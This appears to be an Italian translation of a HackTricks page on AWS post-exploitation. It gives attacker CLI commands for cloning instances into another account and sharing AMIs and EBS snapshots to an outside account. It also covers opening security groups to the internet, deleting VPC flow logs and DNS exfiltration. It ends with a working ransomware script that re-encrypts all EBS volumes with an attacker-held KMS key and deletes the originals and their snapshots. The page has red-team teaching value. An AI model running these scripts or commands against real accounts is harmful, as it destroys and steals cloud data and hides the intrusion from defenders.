AWS - EC2, EBS, SSM & VPC Post Exploitation

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team di HackTricks AWS)!

Altri modi per supportare HackTricks:

EC2 & VPC

Per ulteriori informazioni controlla:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Specchio VPC Malizioso - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

Il mirroring del traffico VPC duplica il traffico in entrata e in uscita per le istanze EC2 all'interno di un VPC senza la necessità di installare nulla sulle istanze stesse. Questo traffico duplicato verrebbe comunemente inviato a un sistema di rilevamento delle intrusioni di rete (IDS) per analisi e monitoraggio. Un attaccante potrebbe sfruttare ciò per catturare tutto il traffico e ottenere informazioni sensibili da esso:

Per ulteriori informazioni controlla questa pagina:

pageAWS - Malicious VPC Mirror

Copia dell'Istanza in Esecuzione

Le istanze di solito contengono informazioni sensibili. Ci sono diversi modi per accedervi (controlla trucchi di escalation dei privilegi EC2). Tuttavia, un altro modo per controllare cosa contiene è creare un AMI e eseguire una nuova istanza (anche nel tuo account) da essa:

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

Dump di Snapshot EBS

Gli snapshot sono copie di backup dei volumi, che di solito contengono informazioni sensibili, pertanto controllarli potrebbe rivelare tali informazioni. Se trovi un volume senza snapshot potresti: Creare uno snapshot e eseguire le seguenti azioni o semplicemente montarlo in un'istanza all'interno dell'account:

pageAWS - EBS Snapshot Dump

Esfiltrazione di Dati

Esfiltrazione tramite DNS

Anche se si blocca un'istanza EC2 in modo che nessun traffico possa uscire, è comunque possibile esfiltrare tramite DNS.

  • I log di flusso VPC non registreranno questo.

  • Non si ha accesso ai log DNS di AWS.

  • Disabilita ciò impostando "enableDnsSupport" su false con:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Esfiltrazione tramite chiamate API

Un attaccante potrebbe chiamare i punti finali delle API di un account controllato da lui. Cloudtrail registrerà queste chiamate e l'attaccante potrà vedere i dati esfiltrati nei log di Cloudtrail.

Gruppo di Sicurezza Aperto

Potresti ottenere ulteriore accesso ai servizi di rete aprendo le porte in questo modo:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Privesc a ECS

È possibile eseguire un'istanza EC2 e registrarla per essere utilizzata per eseguire istanze ECS e quindi rubare i dati delle istanze ECS.

Per ulteriori informazioni controlla qui.

Rimuovere i log di flusso VPC

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

Condividere AMI

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Condividere Snapshot EBS

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

PoC Ransomware su EBS

Una prova concettuale simile alla dimostrazione del Ransomware mostrata nelle note di post-exploitation di S3. KMS dovrebbe essere rinominato in RMS per Ransomware Management Service con la facilità con cui è possibile utilizzarlo per crittografare vari servizi AWS.

Prima, da un account AWS 'attaccante', creare una chiave gestita dal cliente in KMS. Per questo esempio, faremo in modo che AWS gestisca i dati della chiave per me, ma in uno scenario realistico un attore malintenzionato tratterrebbe i dati della chiave al di fuori del controllo di AWS. Cambiare la policy della chiave per consentire a qualsiasi Principal dell'account AWS di utilizzare la chiave. Per questa policy della chiave, il nome dell'account era 'AttackSim' e la regola della policy che consente tutto l'accesso si chiama 'Crittografia esterna'.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

La regola chiave della policy richiede quanto segue abilitato per consentire la possibilità di utilizzarla per crittografare un volume EBS:

  • kms:CreateGrant

  • kms:Decrypt

  • kms:DescribeKey

  • kms:GenerateDataKeyWithoutPlainText

  • kms:ReEncrypt

Ora con la chiave accessibile pubblicamente da utilizzare. Possiamo utilizzare un account 'vittima' che ha alcune istanze EC2 avviate con volumi EBS non crittografati collegati. I volumi EBS di questo account 'vittima' sono quelli che stiamo mirando a crittografare, questo attacco è sotto l'ipotesi di una violazione di un account AWS ad alto privilegio.

Ciò comporta che rimangano solo volumi EBS crittografati disponibili nell'account.

È anche importante notare che lo script ha fermato le istanze EC2 per staccare ed eliminare i volumi EBS originali. I volumi non crittografati originali sono ora scomparsi.

Successivamente, tornare alla policy chiave nell'account dell' 'attaccante' e rimuovere la regola della policy 'Crittografia esterna'.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Attendere un momento affinché la nuova policy chiave impostata si propaghi. Successivamente tornare all'account 'vittima' e tentare di allegare uno dei nuovi volumi EBS criptati. Si noterà che è possibile allegare il volume.

Tuttavia, quando si tenta di avviare effettivamente l'istanza EC2 con il volume EBS criptato, fallirà e tornerà allo stato 'in attesa' allo stato 'arrestato' per sempre poiché il volume EBS allegato non può essere decifrato utilizzando la chiave poiché la policy della chiave non lo consente più.

Questo è lo script Python utilizzato. Richiede le credenziali AWS per un account 'vittima' e un valore ARN AWS pubblicamente disponibile per la chiave da utilizzare per la crittografia. Lo script creerà copie criptate di TUTTI i volumi EBS disponibili allegati a TUTTE le istanze EC2 nell'account AWS mirato, quindi fermerà ogni istanza EC2, staccherà i volumi EBS originali, li eliminerà e infine eliminerà tutti gli snapshot utilizzati durante il processo. Ciò lascerà solo volumi EBS criptati nell'account 'vittima' mirato. UTILIZZARE QUESTO SCRIPT SOLO IN UN AMBIENTE DI TEST, È DISTRUTTIVO E ELIMINERÀ TUTTI I VOLUMI EBS ORIGINALI. È possibile recuperarli utilizzando la chiave KMS utilizzata e ripristinarli al loro stato originale tramite snapshot, ma si desidera solo farvi presente che questo è un PoC di ransomware alla fine della giornata.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Last updated